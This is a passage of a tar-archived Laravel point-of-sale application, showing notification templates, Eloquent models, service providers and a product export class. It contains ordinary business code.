'{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], ]; } public static function supplierNotifications() { return [ 'new_order' => [ 'name' => __('lang_v1.new_order'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{order_ref_number}', '{total_amount}', '{received_amount}', '{due_amount}'], ['{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'], ['{purchase_custom_field_1}', '{purchase_custom_field_2}', '{purchase_custom_field_3}', '{purchase_custom_field_4}', '{contact_business_name}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ['{shipping_custom_field_1}', '{shipping_custom_field_2}', '{shipping_custom_field_3}', '{shipping_custom_field_4}', '{shipping_custom_field_5}'], ], ], 'payment_paid' => [ 'name' => __('lang_v1.payment_paid'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{order_ref_number}', '{payment_ref_number}', '{paid_amount}'], ['{contact_name}', '{contact_business_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], 'items_received' => [ 'name' => __('lang_v1.items_received'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{order_ref_number}'], ['{contact_business_name}', '{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], 'items_pending' => [ 'name' => __('lang_v1.items_pending'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{order_ref_number}'], ['{contact_business_name}', '{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], 'purchase_order' => [ 'name' => __('lang_v1.purchase_order'), 'extra_tags' => [ ['{business_name}', '{business_logo}'], ['{order_ref_number}'], ['{contact_business_name}', '{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ], ], ]; } public static function notificationTags() { return ['{contact_name}', '{invoice_number}', '{total_amount}', '{paid_amount}', '{due_amount}', '{business_name}', '{business_logo}', '{cumulative_due_amount}', '{due_date}', '{contact_business_name}', ]; } public static function bookingNotificationTags() { return [ ['{business_name}', '{business_logo}'], ['{table}', '{start_time}', '{end_time}', '{service_staff}', '{correspondent}'], ['{location}', '{location_name}', '{location_address}', '{location_email}', '{location_phone}', '{location_custom_field_1}', '{location_custom_field_2}', '{location_custom_field_3}', '{location_custom_field_4}'], ['{contact_name}', '{contact_custom_field_1}', '{contact_custom_field_2}', '{contact_custom_field_3}', '{contact_custom_field_4}', '{contact_custom_field_5}', '{contact_custom_field_6}', '{contact_custom_field_7}', '{contact_custom_field_8}', '{contact_custom_field_9}', '{contact_custom_field_10}'], ]; } public static function defaultNotificationTemplates($business_id = null) { $notification_template_data = [ [ 'business_id' => $business_id, 'template_for' => 'new_sale', 'email_body' => '<p>Dear {contact_name},</p> <p>Your invoice number is {invoice_number}<br /> Total amount: {total_amount}<br /> Paid amount: {received_amount}</p> <p>Thank you for shopping with us.</p> <p>{business_logo}</p> <p> </p>', 'sms_body' => 'Dear {contact_name}, Thank you for shopping with us. {business_name}', 'subject' => 'Thank you from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'payment_received', 'email_body' => '<p>Dear {contact_name},</p> <p>We have received a payment of {received_amount}</p> <p>{business_logo}</p>', 'sms_body' => 'Dear {contact_name}, We have received a payment of {received_amount}. {business_name}', 'subject' => 'Payment Received, from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'payment_reminder', 'email_body' => '<p>Dear {contact_name},</p> <p>This is to remind you that you have pending payment of {due_amount}. Kindly pay it as soon as possible.</p> <p>{business_logo}</p>', 'sms_body' => 'Dear {contact_name}, You have pending payment of {due_amount}. Kindly pay it as soon as possible. {business_name}', 'subject' => 'Payment Reminder, from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'new_booking', 'email_body' => '<p>Dear {contact_name},</p> <p>Your booking is confirmed</p> <p>Date: {start_time} to {end_time}</p> <p>Table: {table}</p> <p>Location: {location}</p> <p>{business_logo}</p>', 'sms_body' => 'Dear {contact_name}, Your booking is confirmed. Date: {start_time} to {end_time}, Table: {table}, Location: {location}', 'subject' => 'Booking Confirmed - {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'new_order', 'email_body' => '<p>Dear {contact_name},</p> <p>We have a new order with reference number {order_ref_number}. Kindly process the products as soon as possible.</p> <p>{business_name}<br /> {business_logo}</p>', 'sms_body' => 'Dear {contact_name}, We have a new order with reference number {order_ref_number}. Kindly process the products as soon as possible. {business_name}', 'subject' => 'New Order, from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'payment_paid', 'email_body' => '<p>Dear {contact_name},</p> <p>We have paid amount {paid_amount} again invoice number {order_ref_number}.<br /> Kindly note it down.</p> <p>{business_name}<br /> {business_logo}</p>', 'sms_body' => 'We have paid amount {paid_amount} again invoice number {order_ref_number}. Kindly note it down. {business_name}', 'subject' => 'Payment Paid, from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'items_received', 'email_body' => '<p>Dear {contact_name},</p> <p>We have received all items from invoice reference number {order_ref_number}. Thank you for processing it.</p> <p>{business_name}<br /> {business_logo}</p>', 'sms_body' => 'We have received all items from invoice reference number {order_ref_number}. Thank you for processing it. {business_name}', 'subject' => 'Items received, from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'items_pending', 'email_body' => '<p>Dear {contact_name},<br /> This is to remind you that we have not yet received some items from invoice reference number {order_ref_number}. Please process it as soon as possible.</p> <p>{business_name}<br /> {business_logo}</p>', 'sms_body' => 'This is to remind you that we have not yet received some items from invoice reference number {order_ref_number} . Please process it as soon as possible.{business_name}', 'subject' => 'Items Pending, from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'new_quotation', 'email_body' => '<p>Dear {contact_name},</p> <p>Your quotation number is {invoice_number}<br /> Total amount: {total_amount}</p> <p>Thank you for shopping with us.</p> <p>{business_logo}</p> <p> </p>', 'sms_body' => 'Dear {contact_name}, Thank you for shopping with us. {business_name}', 'subject' => 'Thank you from {business_name}', 'auto_send' => '0', ], [ 'business_id' => $business_id, 'template_for' => 'purchase_order', 'email_body' => '<p>Dear {contact_name},</p> <p>We have a new purchase order with reference number {order_ref_number}. The respective invoice is attached here with.</p> <p>{business_logo}</p>', 'sms_body' => 'We have a new purchase order with reference number {order_ref_number}. {business_name}', 'subject' => 'New Purchase Order, from {business_name}', 'auto_send' => '0', ], ]; return $notification_template_data; } } CashDenomination.php 0000644 00000000346 15001146510 0010474 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class CashDenomination extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } ExpenseCategory.php 0000644 00000001453 15001146510 0010356 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class ExpenseCategory extends Model { use SoftDeletes; /** * The attributes that should be mutated to dates. * * @var array */ /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function sub_categories() { return $this->hasMany(\App\ExpenseCategory::class, 'parent_id'); } /** * Scope a query to only include main categories. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeOnlyParent($query) { return $query->whereNull('parent_id'); } } Printer.php 0000644 00000003103 15001146510 0006666 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class Printer extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public static function capability_profiles() { $profiles = [ 'default' => 'Default', 'simple' => 'Simple', 'SP2000' => 'Star Branded', 'TEP-200M' => 'Espon Tep', 'P822D' => 'P822D', ]; return $profiles; } public static function capability_profile_srt($profile) { $profiles = Printer::capability_profiles(); return isset($profiles[$profile]) ? $profiles[$profile] : ''; } public static function connection_types() { $types = [ 'network' => 'Network', 'windows' => 'Windows', 'linux' => 'Linux', ]; return $types; } public static function connection_type_str($type) { $types = Printer::connection_types(); return isset($types[$type]) ? $types[$type] : ''; } /** * Return list of printers for a business * * @param int $business_id * @param bool $show_select = true * @return array */ public static function forDropdown($business_id, $show_select = true) { $query = Printer::where('business_id', $business_id); $printers = $query->pluck('name', 'id'); if ($show_select) { $printers->prepend(__('messages.please_select'), ''); } return $printers; } } Providers/EventServiceProvider.php 0000644 00000002213 15001146510 0013336 0 ustar 00 <?php namespace App\Providers; use Illuminate\Foundation\Support\Providers\EventServiceProvider as ServiceProvider; use Illuminate\Support\Facades\Event; class EventServiceProvider extends ServiceProvider { /** * The event listener mappings for the application. * * @var array */ protected $listen = [ // 'App\Events\Event' => [ // 'App\Listeners\EventListener', // ], \App\Events\TransactionPaymentAdded::class => [ \App\Listeners\AddAccountTransaction::class, ], \App\Events\TransactionPaymentUpdated::class => [ \App\Listeners\UpdateAccountTransaction::class, ], \App\Events\TransactionPaymentDeleted::class => [ \App\Listeners\DeleteAccountTransaction::class, ], ]; /** * Register any events for your application. * * @return void */ public function boot() { // } /** * Determine if events and listeners should be automatically discovered. * * @return bool */ public function shouldDiscoverEvents() { return false; } } Providers/AuthServiceProvider.php 0000644 00000002142 15001146510 0013157 0 ustar 00 <?php namespace App\Providers; use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider; use Illuminate\Support\Facades\Gate; class AuthServiceProvider extends ServiceProvider { /** * The policy mappings for the application. * * @var array */ protected $policies = [ 'App\Model' => 'App\Policies\ModelPolicy', ]; /** * Register any authentication / authorization services. * * @return void */ public function boot() { $this->registerPolicies(); Gate::before(function ($user, $ability) { if (in_array($ability, ['backup', 'superadmin', 'manage_modules', ])) { $administrator_list = config('constants.administrator_usernames'); if (in_array(strtolower($user->username), explode(',', strtolower($administrator_list)))) { return true; } } else { if ($user->hasRole('Admin#'.$user->business_id)) { return true; } } }); } } Providers/RouteServiceProvider.php 0000644 00000002440 15001146510 0013355 0 ustar 00 <?php namespace App\Providers; use Illuminate\Cache\RateLimiting\Limit; use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider; use Illuminate\Http\Request; use Illuminate\Support\Facades\RateLimiter; use Illuminate\Support\Facades\Route; class RouteServiceProvider extends ServiceProvider { /** * The path to the "home" route for your application. * * This is used by Laravel authentication to redirect users after login. * * @var string */ public const HOME = '/home'; /** * Define your route model bindings, pattern filters, etc. * * @return void */ public function boot() { $this->configureRateLimiting(); $this->routes(function () { Route::prefix('api') ->middleware('api') ->group(base_path('routes/api.php')); Route::middleware('web') ->group(base_path('routes/web.php')); }); } /** * Configure the rate limiters for the application. * * @return void */ protected function configureRateLimiting() { RateLimiter::for('api', function (Request $request) { return Limit::perMinute(60)->by($request->user()?->id ?: $request->ip()); }); } } Providers/BroadcastServiceProvider.php 0000644 00000000574 15001146510 0014167 0 ustar 00 <?php namespace App\Providers; use Illuminate\Support\Facades\Broadcast; use Illuminate\Support\ServiceProvider; class BroadcastServiceProvider extends ServiceProvider { /** * Bootstrap any application services. * * @return void */ public function boot() { Broadcast::routes(); require base_path('routes/channels.php'); } } Providers/AppServiceProvider.php 0000644 00000023444 15001146510 0013006 0 ustar 00 <?php namespace App\Providers; use App\System; use App\Utils\ModuleUtil; use Illuminate\Pagination\Paginator; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Blade; use Illuminate\Support\Facades\Schema; use Illuminate\Support\Facades\View; use Illuminate\Support\ServiceProvider; use Illuminate\Filesystem\FilesystemAdapter; use Illuminate\Support\Facades\Storage; use League\Flysystem\Filesystem; use Spatie\Dropbox\Client as DropboxClient; use Spatie\FlysystemDropbox\DropboxAdapter; use Laravel\Passport\Console\ClientCommand; use Laravel\Passport\Console\InstallCommand; use Laravel\Passport\Console\KeysCommand; class AppServiceProvider extends ServiceProvider { /** * Bootstrap any application services. * * @return void */ public function boot() { ini_set('memory_limit', '-1'); set_time_limit(0); if (config('app.debug')) { error_reporting(E_ALL & ~E_USER_DEPRECATED); } else { error_reporting(0); } //force https $url = parse_url(config('app.url')); if ($url['scheme'] == 'https') { \URL::forceScheme('https'); } if (request()->has('lang')) { \App::setLocale(request()->get('lang')); } //In Laravel 5.6, Blade will double encode special characters by default. If you would like to maintain the previous behavior of preventing double encoding, you may add Blade::withoutDoubleEncoding() to your AppServiceProvider boot method. Blade::withoutDoubleEncoding(); //Laravel 5.6 uses Bootstrap 4 by default. Shift did not update your front-end resources or dependencies as this could impact your UI. If you are using Bootstrap and wish to continue using Bootstrap 3, you should add Paginator::useBootstrapThree() to your AppServiceProvider boot method. Paginator::useBootstrapThree(); \Illuminate\Pagination\Paginator::useBootstrap(); // Dropbox service provider Storage::extend('dropbox', function ($app, $config) { $adapter = new DropboxAdapter(new DropboxClient( $config['authorization_token'] )); return new FilesystemAdapter( new Filesystem($adapter, $config), $adapter, $config ); }); $asset_v = config('constants.asset_version', 1); View::share('asset_v', $asset_v); // Share the list of modules enabled in sidebar View::composer( ['*'], function ($view) { $enabled_modules = ! empty(session('business.enabled_modules')) ? session('business.enabled_modules') : []; $__is_pusher_enabled = isPusherEnabled(); if (! Auth::check()) { $__is_pusher_enabled = false; } $view->with('enabled_modules', $enabled_modules); $view->with('__is_pusher_enabled', $__is_pusher_enabled); } ); View::composer( ['layouts.*'], function ($view) { if (isAppInstalled()) { $keys = ['additional_js', 'additional_css']; $__system_settings = System::getProperties($keys, true); //Get js,css from modules $moduleUtil = new ModuleUtil; $module_additional_script = $moduleUtil->getModuleData('get_additional_script'); $additional_views = []; $additional_html = ''; foreach ($module_additional_script as $key => $value) { if (! empty($value['additional_js'])) { if (isset($__system_settings['additional_js'])) { $__system_settings['additional_js'] .= $value['additional_js']; } else { $__system_settings['additional_js'] = $value['additional_js']; } } if (! empty($value['additional_css'])) { if (isset($__system_settings['additional_css'])) { $__system_settings['additional_css'] .= $value['additional_css']; } else { $__system_settings['additional_css'] = $value['additional_css']; } } if (! empty($value['additional_html'])) { $additional_html .= $value['additional_html']; } if (! empty($value['additional_views'])) { $additional_views = array_merge($additional_views, $value['additional_views']); } } $view->with('__additional_views', $additional_views); $view->with('__additional_html', $additional_html); $view->with('__system_settings', $__system_settings); } } ); //This will fix "Specified key was too long; max key length is 767 bytes issue during migration" Schema::defaultStringLength(191); //Blade directive to format number into required format. Blade::directive('num_format', function ($expression) { return "number_format($expression, session('business.currency_precision', 2), session('currency')['decimal_separator'], session('currency')['thousand_separator'])"; }); //Blade directive to format quantity values into required format. Blade::directive('format_quantity', function ($expression) { return "number_format($expression, session('business.quantity_precision', 2), session('currency')['decimal_separator'], session('currency')['thousand_separator'])"; }); //Blade directive to return appropiate class according to transaction status Blade::directive('transaction_status', function ($status) { return "<?php if($status == 'ordered'){ echo 'bg-aqua'; }elseif($status == 'pending'){ echo 'bg-red'; }elseif ($status == 'received') { echo 'bg-light-green'; }?>"; }); //Blade directive to return appropiate class according to transaction status Blade::directive('payment_status', function ($status) { return "<?php if($status == 'partial'){ echo 'bg-aqua'; }elseif($status == 'due'){ echo 'bg-yellow'; }elseif ($status == 'paid') { echo 'bg-light-green'; }elseif ($status == 'overdue') { echo 'bg-red'; }elseif ($status == 'partial-overdue') { echo 'bg-red'; }?>"; }); //Blade directive to display help text. Blade::directive('show_tooltip', function ($message) { return "<?php if(session('business.enable_tooltip')){ echo '<i class=\"fa fa-info-circle text-info hover-q no-print \" aria-hidden=\"true\" data-container=\"body\" data-toggle=\"popover\" data-placement=\"auto bottom\" data-content=\"' . $message . '\" data-html=\"true\" data-trigger=\"hover\"></i>'; } ?>"; }); //Blade directive to convert. Blade::directive('format_date', function ($date) { if (! empty($date)) { return "\Carbon::createFromTimestamp(strtotime($date))->format(session('business.date_format'))"; } else { return null; } }); //Blade directive to convert. Blade::directive('format_time', function ($date) { if (! empty($date)) { $time_format = 'h:i A'; if (session('business.time_format') == 24) { $time_format = 'H:i'; } return "\Carbon::createFromTimestamp(strtotime($date))->format('$time_format')"; } else { return null; } }); Blade::directive('format_datetime', function ($date) { if (! empty($date)) { $time_format = 'h:i A'; if (session('business.time_format') == 24) { $time_format = 'H:i'; } return "\Carbon::createFromTimestamp(strtotime($date))->format(session('business.date_format') . ' ' . '$time_format')"; } else { return null; } }); //Blade directive to format currency. Blade::directive('format_currency', function ($number) { return '<?php $formated_number = ""; if (session("business.currency_symbol_placement") == "before") { $formated_number .= session("currency")["symbol"] . " "; } $formated_number .= number_format((float) '.$number.', session("business.currency_precision", 2) , session("currency")["decimal_separator"], session("currency")["thousand_separator"]); if (session("business.currency_symbol_placement") == "after") { $formated_number .= " " . session("currency")["symbol"]; } echo $formated_number; ?>'; }); $this->registerCommands(); } /** * Register any application services. * * @return void */ public function register() { // } /** * Register commands. * * @return void */ protected function registerCommands() { $this->commands([ InstallCommand::class, ClientCommand::class, KeysCommand::class, ]); } } System.php 0000644 00000004527 15001146510 0006542 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class System extends Model { /** * The table associated with the model. * * @var string */ protected $table = 'system'; /** * Indicates if the model should be timestamped. * * @var bool */ public $timestamps = false; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Return the value of the property * * @param $key string * @return mixed */ public static function getProperty($key) { $row = System::where('key', $key) ->first(); if (isset($row->value)) { return $row->value; } else { return null; } } /** * Return the value of the multiple properties * * @param $keys array * @return array */ public static function getProperties($keys, $pluck = false) { if ($pluck == true) { return System::whereIn('key', $keys) ->pluck('value', 'key'); } else { return System::whereIn('key', $keys) ->get() ->toArray(); } } /** * Return the system default currency details * * @param void * @return object */ public static function getCurrency() { $c_id = System::where('key', 'app_currency_id') ->first() ->value; $currency = Currency::find($c_id); return $currency; } /** * Set the property * * @param $key * @param $value * @return void */ public static function setProperty($key, $value) { System::where('key', $key) ->update(['value' => $value]); } /** * Remove the specified property * * @param $key * @return void */ public static function removeProperty($key) { System::where('key', $key) ->delete(); } /** * Add a new property, if exist update the value * * @param $key * @param $value * @return void */ public static function addProperty($key, $value) { System::updateOrCreate( ['key' => $key], ['value' => $value] ); } } Exports/ProductsExport.php 0000644 00000011241 15001146510 0011716 0 ustar 00 <?php namespace App\Exports; use App\Product; use Maatwebsite\Excel\Concerns\FromArray; class ProductsExport implements FromArray { public function array(): array { $business_id = request()->session()->get('user.business_id'); $products = Product::where('business_id', $business_id) ->with(['brand', 'unit', 'category', 'sub_category', 'product_variations', 'product_variations.variations', 'product_tax', 'rack_details', 'product_locations']) ->select('products.*') ->get(); //set headers $products_array = [['NAME', 'BRAND', 'UNIT', 'CATEGORY', 'SUB-CATEGORY', 'SKU (Leave blank to auto generate sku)', 'BARCODE TYPE', 'MANAGE STOCK (1=yes 0=No)', 'ALERT QUANTITY', 'EXPIRES IN', 'EXPIRY PERIOD UNIT (months/days)', 'APPLICABLE TAX', 'Selling Price Tax Type (inclusive or exclusive)', 'PRODUCT TYPE (single or variable)', 'VARIATION NAME (Keep blank if product type is single)', 'VARIATION VALUES (| seperated values & blank if product type if single)', 'VARIATION SKUs (| seperated values & blank if product type if single)', 'PURCHASE PRICE (Including tax)', 'PURCHASE PRICE (Excluding tax)', 'PROFIT MARGIN', 'SELLING PRICE', 'OPENING STOCK', 'OPENING STOCK LOCATION', 'EXPIRY DATE', 'ENABLE IMEI OR SERIAL NUMBER(1=yes 0=No)', 'WEIGHT', 'RACK', 'ROW', 'POSITION', 'IMAGE', 'PRODUCT DESCRIPTION', 'CUSTOM FIELD 1', 'CUSTOM FIELD 2', 'CUSTOM FIELD 3', 'CUSTOM FIELD 4', 'NOT FOR SELLING(1=yes 0=No)', 'PRODUCT LOCATIONS']]; foreach ($products as $product) { $product_variation = $product->product_variations->first(); $product_variation_name = $product->type == 'variable' ? $product_variation->name : ''; $variation_values = $product->type == 'variable' ? implode('|', $product_variation->variations->pluck('name')->toArray()) : ''; $variation_skus = implode('|', $product_variation->variations->pluck('sub_sku')->toArray()); $purchase_prices = implode('|', $product_variation->variations->pluck('dpp_inc_tax')->toArray()); $purchase_prices_ex_tax = implode('|', $product_variation->variations->pluck('default_purchase_price')->toArray()); $profit_percents = implode('|', $product_variation->variations->pluck('profit_percent')->toArray()); $selling_prices = $product->tax_type == 'inclusive' ? implode('|', $product_variation->variations->pluck('sell_price_inc_tax')->toArray()) : implode('|', $product_variation->variations->pluck('default_sell_price')->toArray()); $locations = implode(',', $product->product_locations->pluck('name')->toArray()); $rack_details = []; $row_details = []; $position_details = []; foreach ($product->product_locations as $l) { foreach ($product->rack_details as $rd) { if ($rd->location_id == $l->id) { $rack_details[] = $rd->rack; $row_details[] = $rd->row; $position_details[] = $rd->position; } } } $product_arr = [ $product->name, $product->brand->name ?? '', $product->unit->short_name ?? '', $product->category->name ?? '', $product->sub_category->name ?? '', $product->sku, $product->barcode_type, $product->enable_stock, $product->alert_quantity, $product->expiry_period, $product->expiry_period_type, $product->product_tax->name ?? '', $product->tax_type, $product->type, $product_variation_name, $variation_values, $variation_skus, $purchase_prices, $purchase_prices_ex_tax, $profit_percents, $selling_prices, '', '', '', $product->enable_sr_no, $product->weight, implode('|', $rack_details), implode('|', $row_details), implode('|', $position_details), $product->image_url, $product->product_description, $product->product_custom_field1, $product->product_custom_field2, $product->product_custom_field3, $product->product_custom_field4, $product->not_for_selling, $locations, ]; $products_array[] = $product_arr; } return $products_array; } } GroupSubTax.php 0000644 00000000325 15001146510 0007471 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class GroupSubTax extends Model { public function tax_rate() { return $this->belongsTo(\App\TaxRate::class, 'group_tax_id'); } } VariationLocationDetails.php 0000644 00000000356 15001146510 0012205 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class VariationLocationDetails extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } AccountTransaction.php 0000644 00000010632 15001146510 0011052 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class AccountTransaction extends Model { use SoftDeletes; protected $guarded = ['id']; protected $casts = [ 'operation_date' => 'datetime', ]; public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function transaction() { return $this->belongsTo(\App\Transaction::class, 'transaction_id'); } /** * Gives account transaction type from payment transaction type * * @param string $payment_transaction_type * @return string */ public static function getAccountTransactionType($tansaction_type) { $account_transaction_types = [ 'sell' => 'credit', 'purchase' => 'debit', 'expense' => 'debit', 'purchase_return' => 'credit', 'sell_return' => 'debit', 'payroll' => 'debit', 'expense_refund' => 'credit', 'hms_booking' => 'credit', ]; return $account_transaction_types[$tansaction_type]; } /** * Creates new account transaction * * @return obj */ public static function createAccountTransaction($data) { $transaction_data = [ 'amount' => $data['amount'], 'account_id' => $data['account_id'], 'type' => $data['type'], 'sub_type' => ! empty($data['sub_type']) ? $data['sub_type'] : null, 'operation_date' => ! empty($data['operation_date']) ? $data['operation_date'] : \Carbon::now(), 'created_by' => $data['created_by'], 'transaction_id' => ! empty($data['transaction_id']) ? $data['transaction_id'] : null, 'transaction_payment_id' => ! empty($data['transaction_payment_id']) ? $data['transaction_payment_id'] : null, 'note' => ! empty($data['note']) ? $data['note'] : null, 'transfer_transaction_id' => ! empty($data['transfer_transaction_id']) ? $data['transfer_transaction_id'] : null, ]; $account_transaction = AccountTransaction::create($transaction_data); return $account_transaction; } /** * Updates transaction payment from transaction payment * * @param obj $transaction_payment * @param array $inputs * @param string $transaction_type * @return string */ public static function updateAccountTransaction($transaction_payment, $transaction_type) { if (! empty($transaction_payment->account_id)) { $account_transaction = AccountTransaction::where( 'transaction_payment_id', $transaction_payment->id ) ->first(); if (! empty($account_transaction)) { $account_transaction->amount = $transaction_payment->amount; $account_transaction->account_id = $transaction_payment->account_id; $account_transaction->operation_date = $transaction_payment->paid_on; $account_transaction->save(); return $account_transaction; } else { $accnt_trans_data = [ 'amount' => $transaction_payment->amount, 'account_id' => $transaction_payment->account_id, 'type' => empty($transaction_type) ? $transaction_payment->payment_type : self::getAccountTransactionType($transaction_type), 'operation_date' => $transaction_payment->paid_on, 'created_by' => $transaction_payment->created_by, 'transaction_id' => $transaction_payment->transaction_id, 'transaction_payment_id' => $transaction_payment->id, ]; //If change return then set type as debit if (!empty($transaction_payment->transaction) && $transaction_payment->transaction->type == 'sell' && $transaction_payment->is_return == 1) { $accnt_trans_data['type'] = 'debit'; } self::createAccountTransaction($accnt_trans_data); } } } public function transfer_transaction() { return $this->belongsTo(\App\AccountTransaction::class, 'transfer_transaction_id'); } public function account() { return $this->belongsTo(\App\Account::class, 'account_id'); } } ReferenceCount.php 0000644 00000000344 15001146510 0010156 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class ReferenceCount extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } Variation.php 0000644 00000003174 15001146510 0007207 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Variation extends Model { use SoftDeletes; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'combo_variations' => 'array', ]; public function product_variation() { return $this->belongsTo(\App\ProductVariation::class); } public function product() { return $this->belongsTo(\App\Product::class, 'product_id'); } /** * Get the sell lines associated with the variation. */ public function sell_lines() { return $this->hasMany(\App\TransactionSellLine::class); } /** * Get the location wise details of the the variation. */ public function variation_location_details() { return $this->hasMany(\App\VariationLocationDetails::class); } /** * Get Selling price group prices. */ public function group_prices() { return $this->hasMany(\App\VariationGroupPrice::class, 'variation_id'); } public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function getFullNameAttribute() { $name = $this->product->name; if ($this->product->type == 'variable') { $name .= ' - '.$this->product_variation->name.' - '.$this->name; } $name .= ' ('.$this->sub_sku.')'; return $name; } } PaymentAccount.php 0000644 00000001265 15001146510 0010204 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class PaymentAccount extends Model { use SoftDeletes; public static function account_types() { return ['cash' => trans('lang_v1.cash'), 'card' => trans('lang_v1.card'), 'cheque' => trans('lang_v1.cheque'), 'bank_transfer' => trans('lang_v1.bank_transfer'), 'payment_gateway' => trans('lang_v1.payment_gateway'), 'other' => trans('lang_v1.other'), ]; } public static function account_name($type) { $types = PaymentAccount::account_types(); return isset($types[$type]) ? $types[$type] : $type; } } Account.php 0000644 00000007624 15001146510 0006653 0 ustar 00 <?php namespace App; use App\Utils\Util; use DB; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Account extends Model { use SoftDeletes; protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'account_details' => 'array', ]; public static function forDropdown($business_id, $prepend_none, $closed = false, $show_balance = false) { $query = Account::where('business_id', $business_id); $permitted_locations = auth()->user()->permitted_locations(); $account_ids = []; if ($permitted_locations != 'all') { $locations = BusinessLocation::where('business_id', $business_id) ->whereIn('id', $permitted_locations) ->get(); foreach ($locations as $location) { if (! empty($location->default_payment_accounts)) { $default_payment_accounts = json_decode($location->default_payment_accounts, true); foreach ($default_payment_accounts as $key => $account) { if (! empty($account['is_enabled']) && ! empty($account['account'])) { $account_ids[] = $account['account']; } } } } $account_ids = array_unique($account_ids); } if ($permitted_locations != 'all') { $query->whereIn('accounts.id', $account_ids); } $can_access_account = auth()->user()->can('account.access'); if ($can_access_account && $show_balance) { // $query->leftjoin('account_transactions as AT', function ($join) { // $join->on('AT.account_id', '=', 'accounts.id'); // $join->whereNull('AT.deleted_at'); // }) $query->select('accounts.name', 'accounts.id', DB::raw("(SELECT SUM( IF(account_transactions.type='credit', amount, -1*amount) ) as balance from account_transactions where account_transactions.account_id = accounts.id AND deleted_at is NULL) as balance") ); } if (! $closed) { $query->where('is_closed', 0); } $accounts = $query->get(); $dropdown = []; if ($prepend_none) { $dropdown[''] = __('lang_v1.none'); } $commonUtil = new Util; foreach ($accounts as $account) { $name = $account->name; if ($can_access_account && $show_balance) { $name .= ' ('.__('lang_v1.balance').': '.$commonUtil->num_f($account->balance).')'; } $dropdown[$account->id] = $name; } return $dropdown; } /** * Scope a query to only include not closed accounts. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeNotClosed($query) { return $query->where('is_closed', 0); } /** * Scope a query to only include non capital accounts. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ // public function 